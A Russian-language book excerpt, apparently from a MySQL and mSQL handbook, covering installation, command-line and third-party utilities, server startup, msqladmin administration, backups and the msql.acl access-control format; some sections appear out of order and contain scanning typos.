    С 1996 года ТсХ использует MySQL в среде, где имеется более 40 баз данных, содержащих 10 000 таблиц. Из этих 10 000 более 500 таблиц имеют, в свою очередь, более 7 миллионов записей - около 100 Гбайт данных.



    Установка MySQL

    Прежде чем использовать MySQL, ее необходимо установить. MySQL работает почти на любой известной Unix-платформе, а также под управлением Windows 9x, Windows NT и OS/2. Для Windows 9x и Windows NT требуется приобрести лицензию. Если вы хотите лишь протестировать работу этой СУБД, имеется более старая бесплатная версия.

    Дистрибутив MySQL существует как в двоичном виде, так и в виде исходного текста. Если вы не прочь внести свой вклад в проект MySQL, добавить к нему свои усовершенствования или просто не можете найти двоичного дистрибутива для своей платформы, то необходимо взять дистрибутив с исходным кодом. Большинству пользователей, впрочем, следует брать двоичный дистрибутив. Самые свежие дистрибутивы - двоичные и в виде исходных текстов - можно найти на http://www.mysql.com

    Если вы получите дистрибутив в виде исходного текста, то перед установкой нужно его скомпилировать. В любом случае следует руководствоваться инструкциями, имеющимися в дистрибутиве.



    Утилиты MySQL

    ТсХ распространяет MySQL с большим набором вспомогательных утилит, однако набор утилит, предлагаемых сторонними разработчиками, еще богаче. В этом параграфе мы постараемся дать краткий обзор этих инструментов, отложив полное описание до главы 18 "Справочник по РНР и Lite".

    Утилиты командной строки (Command Line Tools)

    isamchk

    Производит проверку файлов, содержащих данные базы. Эти файлы называются ISAM-файлами (ISAM - метод индексированного последовательного доступа). Эта утилита может устранить большую часть повреждений ISAM-файлов. Мы подробнее опишем ее ниже.

    isamlog

    Читает создаваемые MySQL журналы, относящиеся к ISAM-файлам. Эти журналы можно использовать для воссоздания таблиц или воспроизведения изменений, внесенных в таблицы в течение некоторого промежутка времени.

    mysql

    Создает прямое подключение к серверу баз данных и позволяет вводить запросы непосредственно из приглашения MySQL.

    mysqlaccess

    Модифицирует таблицы прав доступа MySQL и отображает их в

    удобном для чтения виде. Использование этой утилиты — хороший способ изучения структуры таблиц доступа MySQL.

    mysqladmin

    Осуществляет административные функции. С помощью этой утилиты можно добавлять и удалять целые базы данных, а также завершать работу сервера.

    mysqlbug

    Составляет для ТсХ отчет о возникшей в MySQL неполадке. Отчет будет также послан в почтовый список рассылки MySQL, и армия добровольцев MySQL будет исследовать проблему.

    mysqldump

    Записывает все содержимое таблицы, включая ее структуру, в файл в виде SQL-команд, которыми можно воссоздать таблицу. Выходные данные этой утилиты можно использовать для воссоздания таблицы в другой базе или на другом сервере.

    mysqlimport

    Считывает данные из файла и вводит их в таблицу базы данных. Это должен быть файл с разделителями, где разделитель может быть любого обычного вида, например, запятая или кавычки.

    mysqlshow

    Выводит на экран структуру баз данных, имеющихся на сервере, и таблицы, из которых они состоят.


    Утилиты сторонних разработчиков

    Ни один поставщик или разработчик не может самостоятельно предоставить все необходимые для программного продукта средства поддержки. Продукты с открытым исходным кодом, такие как Linux, имели столь потрясающий успех не только благодаря проделанной Линусом Торвальдсом работе по созданию ядра Linux, но и благодаря сотням, если не тысячам, программ для Linux сторонних разработчиков. MySQL также значительно выиграл от работы подобных добровольцев. Хотелось бы перечислить все имеющиеся программы, но этот перечень ежедневно меняется. Ниже мы попытались составить представление о том, что имеется в наличии. За самым свежим списком обратитесь на домашнюю страницу MySQL: http://www.mysql.com/Contrib.

    Утилиты преобразования баз данных

    access_to_mysql

    Преобразует базы данных Microsoft Access в таблицы MySQL. Включается в Access в виде функции, позволяющей сохранять таблицы в формате, позволяющем экспортировать их в MySQL.

    dbf2mysql

    Конвертирует файлы dBASE (DBF) в таблицы MySQL. Хотя dBASE утратил популярность, формат DBF установился как наиболее распространенный для передачи данных между различными приложениями баз данных. Все главные настольные приложения баз данных могут читать и писать DBF-файлы. Это приложение полезно для экспорта/импорта данных в коммерческие настольные базы данных.

    Export sql/Importsql

    Конвертирует базы данных Microsoft Access в MySQL и обратно. Эти утилиты являются функциями Access, которые можно использовать для экспорта таблиц Access в формате, пригодном для чтения MySQL. С их помощью можно также преобразовывать SQL-выход MySQL в вид, пригодный для чтения Access.

    Интерфейсы CGI

    РНР

    Создает HTML-страницы с использованием специальных тегов, распознаваемых анализатором РНР. РНР имеет интерфейсы к большинству основных баз данных, включая MySQL и mSQL. Мы более подробно расскажем о РНР в главе 12 "РНР и другие средства поддержки управления HTML со стороны баз данных".

    Mysql-webadmin

    Осуществляет веб-администрирование баз данных MySQL. Используя это средство, можно просматривать таблицы и изменять их содержимое с помощью HTML-форм.


    Mysqladm

    Осуществляет веб- администрирование баз данных MySQL. Эта CGI-программа позволяет просматривать таблицы через WWW, добавлять таблицы и изменять их содержимое.

    www-sql

    Создает HTML-страницы из таблиц баз данных MySQL. Эта программа осуществляет разбор HTML-страниц в поисках специальных тегов и использует извлеченные данные для выполнения команд SQL на сервере MySQL.

    Клиентские приложения

    Mysqlwinadmn

    Позволяет администрировать MySQL из Windows. С помощью этого средства можно выполнять функции mysqladmin из графического интерфейса.

    xmysql

    Обеспечивает полный доступ к таблицам баз данных MySQL для клиента X Window System. Поддерживает групповые вставки и удаления.

    xmysqladmin

    Позволяет осуществлять администрирование MySQL из X Window System. Это инструмент для графического интерфейса, позволяющий создавать и удалять базы данных и управлять таблицами. С его помощью можно также проверять, запущен ли сервер, перегружать таблицы доступа и управлять потоками.

    Интерфейсы программирования

    MyODBC

    Реализует ODBC API к MySQL в Windows.

    Db.py

    Обеспечивает доступ MySQL к сценариям Python. Для повышения производительности этот модуль осуществляет буферизацию извлекаемых данных. Программирование на Python для MySQL мы излагаем в главе 11, а подробное справочное руководство по Python представлено в главе 20.

    Vdb-dflts

    Реализует библиотеку Vdb для MySQL. Vdb - не зависящий от типа базы данных API для С, позволяющий единому клиенту иметь доступ к различным серверам баз данных. Клиенты Vdb могут использовать этот API для досупа к базам данных MySQL.

    Delphi-interface

    Предоставляет API доступа к MySQL для среды Delphi, выпускаемой Inprise. С помощью этого API любое приложение Delphi получает доступ к базам данных MySQL.

    dump2h

    Преобразует структуры таблиц MySQL в файлы заголовков С. Эта программа принимает обычный файл, создаваемый mysqldump и генерирует заголовочный файл С, описывающий таблицу в виде структуры (st ruct) на С.

    mm.mysql.jdbc


    Реализует стандартный API JDBC (Java Database Connectivity -доступ к базам данных из Java). В главе 14 "Java и JDBC" подробно обсуждается программирование на Java с использованием этого API, а в главе 22 "Справочник по JDBC" представлено полное справочное руководство по JDBC 2.0.

    twzJdbcForMysql

    Реализация JDBC API для Java.

    Mysqltcl

    Реализует интерфейс Tel к MySQL.

    MySQLmodule

    Реализует доступ к MySQL из Python.

    Mysql-c++

    Объектно-ориентированная оболочка MySQL С API для доступа из приложений на C++.

    MySQL++

    Обеспечивает объектно-ориентированный доступ к MySQL для приложений на C++,

    Pike-mysql

    Позволяет пользователям известного веб-сервера Roxen разрабатывать интернет-приложения с доступом к MySQL.

    Sqlscreens

    Генерирует экраны баз данных на Tcl/Tk на основе баз данных MySQL. Позволяет разработчикам строить специализированные . GUI, привязанные к таблицам MySQL.

    Squile

    Позволяет создавать сценарии на Guile для доступа к таблицам MySQL.

    Wintcl

    Поддерживает встраивание кода Tel в HTML-файлы. С помощью этого средства легко разрабатывать веб-приложения, способные осуществлять доступ к базам данных MySQL.

    Разное

    Emacs-sql-mode

    Адаптирует стандартный режим SQL для Emacs для поддержки особенностей синтаксиса SQL в MySQL. Вводит отступы, выделяет синтаксис и довершает команды, что облегчает работу с SQL.

    findres

    Отыскивает в таблицах MySQL зарезервированные слова. Эта-программа ищет в таблицах MySQL зарезервированные слова SQL, которые могут нарушить правильную работу других баз данных, поддерживающих SQL.

    Hyalog

    Сохраняет в таблице MySQL исходящие факсимильные сообщения. Эта программа отслеживает факсы, отправляемые программой HylaFax, и сохраняет их копии в базе данных MySQL.

    mod_auth_mysql

    Осуществляет аутентификацию пользователей сервера Apache. Обычно Apache осуществляет контроль доступа с помощью простых текстовых файлов, содержащих имена пользователей и зашифрованные пароли. Данный модуль позволяет управлять доступом через базу данных MySQL.


    mod_log_mysql

    Регистрирует трафик WWW, проходящий через сервер Apache, в базе данных MySQL.

    mysqlpasswd

    Обеспечивает добавление, удаление и изменение записей о пользователях, хранимых в MySQL модулем mod_auth_mysql из состава Apache.

    Mysql_watchdog

    Осуществляет контроль за MySQL с целью обеспечения его непрерывного функционирования с нормальными параметрами.

    Nsapi_auth_mysql

    Аутентифицирует пользователей на веб-сервере Netscape.

    Pam_mysql

    Предоставляет интерфейс РАМ (Pluggable Authentication Module -подключаемый модуль аутентификации) к MySQL. РАМ обеспечивает проверку пользователей для ряда служб, включая стандартную регистрацию в системе.

    Wuftpd-mysql

    Позволяет регистрировать в базе данных MySQL трафик FTP через демон WuFTP.



    Запуск MySQL

    Как правило, сервер баз данных работает постоянно. В конце концов, какой смысл иметь базу данных, если нельзя получить данные. ТсХ создавала MySQL, имея это в виду, поэтому MySQL работает под Unix как демон, и как служба — под Windows NT. В Windows 95 есть только грубый аналог, реализуемый помещением ярлыка исполняемого приложения в папку Автозагрузка (StartUp). Важной особенностью работы под Windows 95 является то, что при создании каждого потока происходит утечка примерно 200 байт оперативной памяти. Поэтому под Windows 95 не следует надолго оставлять MySQL работающей. К Windows 98 и Windows NT это не относится.

    Запуск MySQL осуществляется с помощью сценария safe_mysqld. Под Unix этот файл устанавливается по умолчанию как /usr/local/bin/ safe_mysqld. Это сценарий для командного процессора Борна, и вы можете редактировать его, чтобы изменять принятые по умолчанию параметры. Все параметры, которые вы зададите в safe_mysqld, будут переданы непосредственно демону MySQL.

    MySQL — ветвящийся демон. Когда вы ее запускаете, программа создает свою копию и выполняется как фоновый процесс. Поэтому вам не нужно ничего делать, чтобы заставить MySQL выполняться в фоновом режиме. Если же для запуска MySQL вы используете сценарий safe_mysqld, то вы должны перевести его в фоновый режим:

    /usr/local/mysql/bin/safe_mysqld &

    Причина, по которой вы должны запускать safe_mysqld в фоновом режиме (и по которой нужно запускать именно safe_mysqld, а не mysqld) в том, что сценарий safe_mysqld запускает mysqld, а затем непрерывно проверяет, выполняется ли mysqld. Если выполнение MySQL неожиданно прекратится, safe_mysqld ее перезапустит.

    Теперь, когда вы знаете, как запускать MySQL, нужно сделать так, чтобы MySQL стартовала и заканчивала работу вместе с компьютером, на котором она выполняется. Под Windows NT, конечно, достаточно установить MySQL как службу. Под Windows 9x нужно поместить ярлык сценария запуска MySQL в папку Startup. Под Unix, как и почти всегда бывает в этом мире, заставить MySQL стартовать и завершаться вместе с системой несколько сложнее. Unix-системы обычно ищут сценарии начального запуска где-то в каталоге /etc - в /etc/rc.d или /etc/ init.d. Вы должны узнать у системного администратора или в документации, куда именно нужно помещать сценарии запуска/завершения. Дистрибутив MySQL содержит в каталоге support_j'lies файл mysql.ser-ver. Этот сценарий и будет служить сценарием запуска/завершения.



    Администрирование баз данных

    Теперь, когда ваш сервер баз данных работает 24 часа в сутки 7 дней в неделю, надо заставить его обслуживать ваши потребности в доступе к базам данных.

    Утилита msqladmin

    Утилита msqladmin является вашим главным инструментом администрирования баз данных. Она поддерживает создание, удаление, копирование, переименование и исследование ваших баз данных mSQL. Если вы вернетесь к нашему обсуждению того, что такое база данных в главе 1, то вспомните, что mSQL сама по себе - не база данных. Ваши базы данных - это группы файлов в каждом подкаталоге каталога msqldb. mSQL - система управления этими базами. Одна СУБД одновременно может обслуживать много баз данных. Утилита msqladmin позволяет администрировать базы данных для выбранного сервера.

    Создание баз данных

    Первое, что вы захотите сделать после установки mSQL, это создать базу данных, которая служит какой-либо вашей цели. Синтаксис создания базы данных следующий:

    msqladmin create DATABASENAME

    В этой команде DATABASENAME - имя новой базы данных, которую вы хотите создать. Команда создает новую пустую базу данных с указанным вами именем. Как мы говорили раньше, база данных в mSQL — просто каталог в каталоге msqldb в том месте, куда вы установили mSQL. mSQL помещает все данные, относящиеся к вашей новой базе данных, в файлы, находящиеся в этом каталоге. Например, если вы создаете базу данных с именем "mydata", используя установку mSQL по умолчанию, будет создан каталог /usr/local/Hughes/msqldb/mydata.

    Удаление базы данных

    Во время разработки нового приложения баз данных вы, вероятно, захотите создать несколько баз данных для поддержки процесса разработки. Например, в процессе разработки принято иметь различные базы данных для разработки, тестирования и окончательного результата. По завершении разработки можно освободиться от баз данных для разработки и тестирования. Утилита msqladmin имеет параметр "drop", позволяющий удалить базу данных:

    msqladmin drop DATABASENAME

    Как и в команде msqladmin create, DATABASENAME является именем базы данных, которую вы хотите уничтожить. mSQL не позволит вам случайно удалить базу данных. После ввода этой команды она предупредит вас, что удаление базы данных потенциально очень опасно и попросит вас подтвердить свое намерение. После удаления базы данных вы можете убедиться в том, что в каталоге msqldb больше нет каталога, служившего ранее этой базой данных.


    Переименование и копирование баз данных

    Удобной новой возможностью, включенной в mSQL 2, является возможность переименования и копирования баз данных.

    В mSQL 1 можно было обратиться к файловой системе и вручную переименовать или скопировать каталоги баз данных средствами операционной системы. Если пойти по этому пути, то нужно не забыть перезапустить сервер mSQL и разобраться с правами доступа. В mSQL 2 переименование осуществляется просто:

    msqladmin move OLDNAHE NEWNAME

    Например, если вы создали базу данных "midata" с ошибкой в имени и хотите исправить ее, нужно выполнить команду:

    msqladmin move midata mydata

    Копирование столь же просто:

    msqladmin copy mydata mynewdata

    Состояние сервера

    Если вы работали с MySQL, то обратите внимание, что контроль состояния сервера - область, в которой mSQL явно не силен. Утилита msqladmin служит вам интерфейсом к контролю состояния серверов. msqladmin stats в mSQL 2 выводит на экран следующее:

    Server Statistics

    -------------------------

    Mini SQL Version 2.0.4.1 - Forge Alpha Build #9

    Copyright (c) 1993-94 David J. Hughes

    Copyright (c) 1995-98 Hughes Technologies Pty Ltd. All rights reserved.

    Config file : c:\usr\local\hughes\msql.conf Max connections : 61 Cur connections : 1

    Running as user : UID 500

    Connection table :

    Sock Username Hostname Database Connect Idle Queries,

    Администрирование баз данных

    Здесь требуется некоторое пояснение:

    Max connections

    Максимальное количество одновременных соединений, которое может обработать сервер.

    Cur connections

    Число подключений к серверу в данный момент. Sock

    Номер сокета Интернет, используемый mSQL для идентификации каждого соединения.

    Username

    Имя пользователя, подключенного к серверу.

    Hostname

    Имя машины, подключенной к серверу. "Unix sock" указывает на локальное подключение через сокет Unix.

    Database

    Имя базы данных, к которой пользователь подключен в данный момент. "No DB" означает, что клиент не выбрал базу данных.

    Connect


    Общее время соединения клиента с сервером в часах и минутах.

    Idle

    Число минут, прошедших с момента последнего запроса пользователя.

    Queries

    Общее количество запросов, посланных клиентом через данное соединение.

    Помимо команды msqladmin stats можно получить другую, более статичную информацию с помощью команды msqladmin version. Ее выдача может выглядеть так:

    Version Details :-

    msqladmin version 2.0.4,1 - Forge Alpha Build #9

    mSQL server version 2.0.4,1 - Forge Alpha Build #9

    mSQL protocol version23

    mSQL connection 127.0.0.1 via TCP/IP

    Target platform CYGWIN32_NT-4.0-1586

    Configuration Details :-

    Default config file c:\usr\local\hughes/msql.conf

    TCP socket 1114

    Unix socket c:\usr\local\Hughes\msql2.sock

    mSQL user msql

    Admin user root

    Install directory c:\usr\local\Hughes

    PID file location c:\usr\local\Hughes\msql2d.pid

    Memory Sync Timer 30

    Hostname Lookup False

    Каждое значение, выводимое командой msqladmin version, может быть установлено в конфигурационном файле mSQL 2.

    Если mSQL компилировалась со включенной отладкой, mSQL будет помещать данные о выполняющемся процессе сервера в отладочный файл, указанный при компиляции. Других возможностей ведения журналов mSQL не предоставляет.

    Завершение работы сервера

    Ранее в этой главе в примере сценария запуска/остановки для Unix вы видели, как завершать работу сервера mSQL. Команда такая:

    msqladmin shutdown

    Эта команда осуществляет корректное завершение работы сервера mSQL.

    Перезагрузка при изменении параметров сервера

    Если вы производите изменения в ACL mSQL, нужно дать серверу команду на перезагрузку этих изменений. Для этого вводится команда:

    msqladmin reload

    Мы расскажем о mSQL ACL позднее в этой главе.

    Параметры командной строки msqladmin

    Во всех приведенных до сих пор примерах msqladmin использовалась для администрирования локального сервера mSQL с файлом конфигурации, созданным по умолчанию. Эту утилиту можно использовать для администрирования серверов на других машинах с другими конфигурационными файлами. Полный синтаксис утилиты msqladmin таков:


    msqladmin [-h host] [-f conf] [-q] COMMAND

    Параметры имеют следующее значение:

    -h

    Имя машины, на которой работает администрируемый сервер.

    -f

    Файл конфигурации для сервера, которым вы хотите управлять. Скорее всего, вы будете использовать этот параметр при работе нескольких экземпляров mSQL, как описано ранее в этой главе.

    -q.

    Запуск в "тихом" режиме. При этом msqladmin не просит подтверждения команд. Этот параметр полезен при запуске утилиты из сценариев.

    Резервирование данных

    Правильное резервирование является жизненно важной частью всякой схемы администрирования. Достаточно серьезное повреждение базы данных может нарушить работу всех приложений, связанных с этой базой данных. Как говорят, качество данных определяется качеством последней резервной копии.

    При использовании mSQL есть несколько методов резервирования. Как чаще всего бывает в mSQL, они небогаты украшениями, но дело свое делают. Чаще всего для создания резервных копий баз данных mSQL используется команда msqldump. Она делает полный стандартный дамп всей базы. Для каждой базы данных в системе нужно выполнить свою команду, например:

    msqldump database1 > /usr/backups/database1.sql. daily

    msqldump database2 > /usr/backups/database2.sql. daily

    msqldump database3 > /usr/backups/database3.sql. daily

    В этом примере создается дамп трех разных баз данных в одном каталоге.

    Расширение daily используется для указания на то, что резервные копии создаются ежедневно. Как часто вы будете резервировать данные, зависит от их важности, размера и типа имеющихся у вас носителей. Поскольку mSQL позволяет создавать только полные дампы, размер резервных копий может быть очень большим в системах, содержащих большой объем данных. Если у вас достаточно места, то неплохо делать отдельные резервные копии для каждого дня недели или даже двух недель или месяца. По окончании цикла ленты используются заново, если это необходимо; а при записи на жесткий диск переписываются файлы. При такой схеме всегда есть данные за одну неделю. При создании резервных копий на жестком диске можно объединить отдельные ежедневные копии в одну ежедневную копию, перезаписываемую каждый день. В этом случае следует также иметь отдельную еженедельную копию, чтобы восстановить случайно удаленные данные, отсутствующие в последней дневной копии. Такую схему можно использовать, только если вы ограничены в пространстве для резервирования.


    Другой метод резервирования основывается на простоте структуры файлов данных mSQL. В отличие от некоторых других пакетов, mSQL хранит данные в обычных файлах операционной системы, поэтому можно обращаться с ними как со всякими другими файлами. Полную резервную копию mSQL можно сделать, остановив сервер и создав tar-архив каталога данных mSQL. Предварительно сервер следует остановить, в противном случае данные могут оказаться неполными или поврежденными.

    Восстановление данных из резервных копий производится столь же просто, как создание копий. Дампы, создаваемые msqldump, имеют стандартную форму SQL и могут быть обработаны монитором msql. Эти дампы содержат команды для создания как таблиц, так и данных, поэтому нужно либо удалить существующие таблицы, либо удалить из дампов команды CREATE TABLE. Если вы восстанавливаете только отдельные строки данных, можно просто скопировать их из дампа и подать на вход монитора msql.

    При восстановлении данных из архивной копии каталога данных mSQL возможно только полное восстановление сохраненного состояния. Нельзя восстановить какую-то часть данных, и все изменения, произведенные после создания последней резервной копии, будут утеряны. Для проведения этого восстановления просто остановите сервер и затем введите резервный файл в каталог данных mSQL. После перезапуска сервера он окажется точно в том состоянии, которое было перед созданием копии, за исключением того, что будут присутствовать вновь добавленные базы данных, сохраненные в неприкосновенности.

    Выбор метода зависит от ваших потребностей. Создать двоичный архив очень просто, и восстановление при этом происходит очень быстро. Однако при этом нельзя делать частичное восстановление, и вновь добавленные данные будут утеряны. С другой стороны, создание дампа в виде SQL может занять много времени, хотя он допускает частичное восстановление, правда, с некоторыми усилиями. Кроме того, дамп SQL можно создать в любой момент, в то время как для создания архива требуется завершить работу сервера, что может оказаться решающим фактором при интенсивной работе.


    И последнее, что следует учитывать, - вопрос переносимости. В отличие от двоичной резервной копии, дамп SQL - текстовый и целиком состоит из SQL-команд. При незначительной модификации, главным, образом для удаления специфического SQL, дамп SQL может быть импортирован любым совместимым со стандартом SQL сервером. Это очень удобный способ перемещения данных, если возникает необходимость перейти на новый сервер SQL.

    Система безопасности

    Система безопасности, поддерживаемая сервером mSQL, может, в зависимости от точки зрения, показаться как достоинством, так и недостатком. С одной стороны, ей легче управлять, чем в любой другой РСУБД. Эта легкость достигается благодаря упрощенности. К сожалению, такая упрощенность недопустима для сколько-нибудь сложных приложений баз данных.

    mSQL управляет безопасностью с помощью файла msql.acl, который находится в каталоге установки mSQL. Расширение .acl образовано от "Access Control List" - "Список контроля доступа" - очень гибкой системы авторизации, с некоторого времени используемой в ряде операционных систем и приложений. Формат файла msql.acl следующий:

    database=mydata

    read=*

    write=*

    host=*

    access=local,remote

    database=mynewdata read=*

    wriite=admin,root host=* access=local

    Для каждой базы данных есть ряд опций. Строки read и write указывают, каким пользователям вы хотите предоставить право чтения (SELECT) базы или записи (INSERT, UPDATE, DELETE) в базу данных. Строка host показывает, какие машины могут иметь удаленный доступ к базе. Если строка access содержит "local", значит, разрешены локальные подключения через сокеты Unix, а если содержит "remote", то разрешены удаленные подключения по TCP.

    В файле ACL допустим символ-маска "*" в полях read, write и host. Поэтому можно иметь такой ACL:

    database=mynewdata

    read=*

    write=msql*

    host=*. client.com,"isp.com

    access=local, remote

    Этот ACL означает, что любой пользователь любой машины в client.com, а также любой пользователь любой машины в любом домене, оканчивающемся на isp.com - например, wisp.com или lisp.com, - может иметь подключение к базе данных. Эти пользователи могут осуществлять чтение данных, но только пользователи, чьи имена начинаются с "msql", могут вносить в нее изменения.


    По умолчанию все права отсутствуют, поэтому если вы пропустите строку write, никто не сможет модифицировать базу данных. Отдельные пользователи и машины могут исключаться с помощью префикса "-" перед их именем. Рассмотрим пример:

    dataoase=moredata

    read=-bob,*

    write=jane

    host=-junk. isp.com,*, isp.com

    access=local,remote

    Этот ACL разрешает подключение всем хостам домена isp.com, за исключением junk.isp.com. Кроме того, чтение разрешено всем пользователям, кроме пользователя "bob". Только "jane" имеет право записи в базе данных. Поскольку по умолчанию установлен отказ в доступе, конкретно указывать, кому отказано в доступе, как "bob'y"" бессмысленно, если строка не содержит также символа "*".

    mSQL действует согласно первому обнаруженному соответствию. Например, строка read=*,-bob дает пользователю "bob" право чтения.

    Как указывалось ранее в этой главе, команда msqladmin reload перезагружает ACL после внесения вами изменений. Если вы ее не выполните, внесенные изменения будут учтены только при следующем перезапуске сервера.



    Архитектура

    Дэвид Хьюз преследовал три цели, создавая mSQL:

  • mSQL должна быть быстрой.

  • mSQL должна быть компактной.

  • mSQL должна обеспечивать множественность одновременных подключений.

    Высокая скорость была главной целью mSQL. Поскольку в большинстве коммерческих SQL-серверов разработчики стараются реализовать полную спецификацию SQL2, а кроме того, и собственные расширения языка, им приходится расплачиваться производительностью и размерами. MSQL, напротив, жертвует некоторыми наиболее изощренными возможностями коммерческих серверов в пользу скорости. Для проекта Minerva требовалась возможность быстрого выполнения большого числа простых SQL-запросов. Именно это позволяет делать mSQL.

    Скорость и размеры идут рука об руку. Как обнаружил Хьюз, если начать с самого основания и реализовать лишь самые необходимые функции, можно разработать SQL-сервер, который будет требовать столь мало ресурсов, что для его успешного использования не потребуется отдельной машины. В результате, mSQL обладает значительной частью функциональности основных РСУБД, требуя значительно меньших ресурсов.

    Скорости и размера, достигнутых в mSQL, было бы достаточно для того, чтобы успешно заменить Postgres в проекте Minerva. Хьюз, однако, хотел изменить и ту модель поведения, которая, собственно, заставила его искать альтернативу. Хьюз спроектировал mSQL так, чтобы та могла обрабатывать множественные одновременные подключения в рамках одного процесса. В результате получается маленький, быстрый, эффективный SQL-сервер, способный одновременно обрабатывать несколько запросов - локально или по сети.

    Для реализации своих проектных целей Хьюзу пришлось ограничить функциональность сервера. Диалект SQL, поддерживаемый mSQL, является подмножеством стандарта ANSI SQL2, содержащим наиболее употребительные команды, такие как CREATE, INSERT, SELECT, UPDATE и DELETE. Хьюз отказался от ресурсоемких операций, вроде поддержки транзакций. В том типе приложений, которые используют mSQL, функциональность, опущенная Хьюзом, обычно не требуется.


    mSQL является однопоточным сервером с очередью. Одновременно к серверу может подключиться любое число клиентов - до определенного предела. При отправке клиентом запроса к серверу mSQL ставит запрос в синхронную очередь и обрабатывает все запросы последовательно по одному. Эффективность такого решения зависит, таким образом, от способности сервера быстро обработать каждый запрос. Если запросы вовремя не обрабатывать, очередь будет расти, что в итоге приведет к краху сервера из-за превышения системных ограничений. Поэтому скорость является решающим фактором для успешной работы mSQL. На рис. 5-1 показана работа очереди mSQL и однопоточная работа.

    Однопоточная сущность mSQL устраняет необходимость в пакетной обработке. Поскольку запросы выполняются поочередно, они не способны помешать один другому. Конечно, было бы неплохо, если бы mSQL поддерживала транзакции, но в них нет необходимости для нормальной работы ядра базы данных при тех целях, которые ставились перед mSQL.

    mSQL поддерживает два типа соединений со стороны клиента. Удаленные клиенты подключаются к серверу через известный порт TCP/IP. Используя TCP/IP, база данных mSQL может предоставлять доступ любому компьютеру в мире через Интернет. Локальные соединения тоже могут производиться через TCP/IP, но лучшей производительности можно добиться, используя стандартный сокет Unix, что эффективнее примерно на 20%.

    Архитектура

    Рис. 5-1. Архитектура клиент,/сервер в mSQL

    С mSQL связан набор программ, позволяющих осуществлять полный доступ к базе данных. Монитор msql позволяет пользователю непосредственно направлять запросы серверу. Хотя во время разработки этот инструмент полезен, большинству пользователей необходим какой-либо интерфейс для доступа к базе данных посредством какого-либо приложения. Для поддержки разработки приложений mSQL имеет встроенный API на языке С, позволяющий любой С-программе соединяться с сервером mSQL через TCP/IP или сокет Unix.

    mSQL поддерживает также сетевой протокол, позволяющий подключаться к серверу по сети, используя другие языки, без С API. С помощью этих двух интерфейсов разработчики, использующие множество языков, разработали библиотеки для подключения к mSQL почти из любого известного языка. В данной книге рассказывается об использовании API для С, Perl, Java и Python.



    mSQL

    Концепции баз данных и их проектирование имеют очень важное значение, но вы, вероятно, хотите приступить к непосредственной работе с MySQL или mSQL. He исключено, что вы уже выбрали ту или иную СУБД соответственно своим потребностям. Возможно, однако, вы надеетесь, что эта книга поможет вам принять такое решение. В этой главе мы подробно разберем mSQL. Если вы уже стали приверженцем MySQL, то эту главу можно пропустить. Напротив, если вас привлекает mSQL или вы хотите больше узнать о внутренних механизмах обеих баз данных, следует начать с этой главы.

    mSQL является реляционной системой управления базами данных (РСУБД), открывшей эру дешевых баз данных малого и среднего масштаба с поддержкой SQL. Малые размеры, впечатляющая производительность и простота изучения сделали ее предпочтительным выбором растущего числа разработчиков программ для Интернет, которым не достает времени, чтобы стать экспертами в области программирования баз данных. Автор mSQL намеренно стремился к достижению этих целей, приступая к созданию программного продукта, способного заполнить зияющий пробел в ряду РСУБД.



    Установка mSQL

    Первым шагом при работе с mSQL является, естественно, загрузка и установка. Как вы это сделаете, зависит от типа предполагаемой платформы. mSQL появилась как приложение для Linux, и это та платформа, которую поддерживает Хьюз. Если у вас работает какая-то разновидность Unix, mSQL, скорее всего, сможет на ней работать. Даже если нет, mSQL поставляется с исходным текстом, и опытный С-программист исправит места, создающие несовместимость. Дистрибутив для Unix находится по адресу http://www.hughes.com.au.

    Если вы работаете под Windows или OS/2, для вас тоже не все потеряно: переложения для Win32 и OS/2 также активно поддерживаются. Последние версии mSQL для PC находятся по адресу http://blnet.com/ msqlpc/. Хотя эти приложения относительно новые, они всегда немного отстают от самых свежих версий, предоставляемых Хьюзом. В момент написания книги номер текущей версии для Unix был 2.0.7, текущей версии для Win32 - 2.0.4.1, и текущей версии для OS/2 - 2.06. Меньше повезло пользователям Мае. На Макинтош перенесены только клиентские средства для mSQL.

    Процедура установки зависит от платформы. Пользователям Unix придется компилировать свой дистрибутив, а для Win32 и OS/2 поставляются прекомпилированные двоичные файлы. Поскольку процедура установки меняется от одной версии к другой, мы не станем здесь останавливаться на ее подробностях. Вам следует изучить документацию, предоставленную вместе с вашим дистрибутивом, поскольку она наверняка соответствует точной процедуре установки для вашей версии.



    Утилиты mSQL

    Об одной из поставляемых с mSQL утилит, msqladmin, мы уже рассказали. mSQL содержит семь основных утилит, составляющих основу взаимодействия с ней. В дополнение к этим основным утилитам mSQL

    поддерживает облегченную утилиту обработки сценариев Lite и интерфейс к WWW под названием W3-mSQL. Помимо того, существуют многочисленные средства сторонних разработчиков. Сейчас мы подробно остановимся на базовых утилитах, поставляемых с mSQL, и пробежим по списку утилит "со стороны". К Lite и W3-mSQL мы обратимся позднее.

    Утилиты командной строки

    Каждая утилита командной строки имеет подробную подсказку, разъясняющую ее синтаксис. В основном этот синтаксис является копией команды msqladmln. Именно, параметр -h позволяет указать машину, а параметр -/ позволяет задать имя конкретного файла конфигурации.

    msql

    Это интерфейс командной строки к mSQL, позволяющий интерактивно выполнить команду SQL для заданной базы данных. Кроме обычных параметров, отмеченных выше, вы задаете имя базы данных, к которой хотите обратиться. Из всех утилит эта, вероятно, используется наиболее часто.

    msqldump

    Эта команда выводит все содержимое базы данных или таблицы, включая саму структуру таблицы, в виде ряда команд SQL. Результат работы этой утилиты можно использовать для создания резервной копии базы данных и воссоздания ее на другой машине.

    msqlimport

    Эта команда читает форматированный файл данных и добавляет их в указанную таблицу базы данных. Файл может иметь различный формат, в том числе с разделителем-запятой и кавычками.

    relshow

    Эта утилита выводит структуру базы данных и находящихся в ней таблиц. Она полезна, если вам нужно узнать, какие таблицы есть в базе данных или какие колонки существуют в нужной таблице.

    msqlexport

    Эта утилита выводит содержимое таблицы на стандартное устройство вывода в виде текстового файла с разделителями. Многие другие СУБД и приложения, такие как Microsoft Excel, могут читать этот файл и импортировать из него данные.

    Поддержка сторонними разработчиками


    Как и для любого популярного в сети Интернет программного продукта, существуют многочисленные программы сторонних разработчиков, поддерживающие mSQL. Они охватывают диапазон от утилит конвертирования до интерфейсов программирования. Как бы вы ни применяли mSQL, вы наверняка будете использовать хотя бы один из перечисленных здесь продуктов сторонних разработчиков. Конечно, этот список не может претендовать на полноту, поскольку состав имеющихся утилит ежедневно меняется. Самые свежие списки утилит

    сторонних разработчиков можно получить с веб-серверов Hughes и mSQL PC, о которых шла речь ранее в этой главе.

    Утилиты преобразования баз данных

    dbf2msql

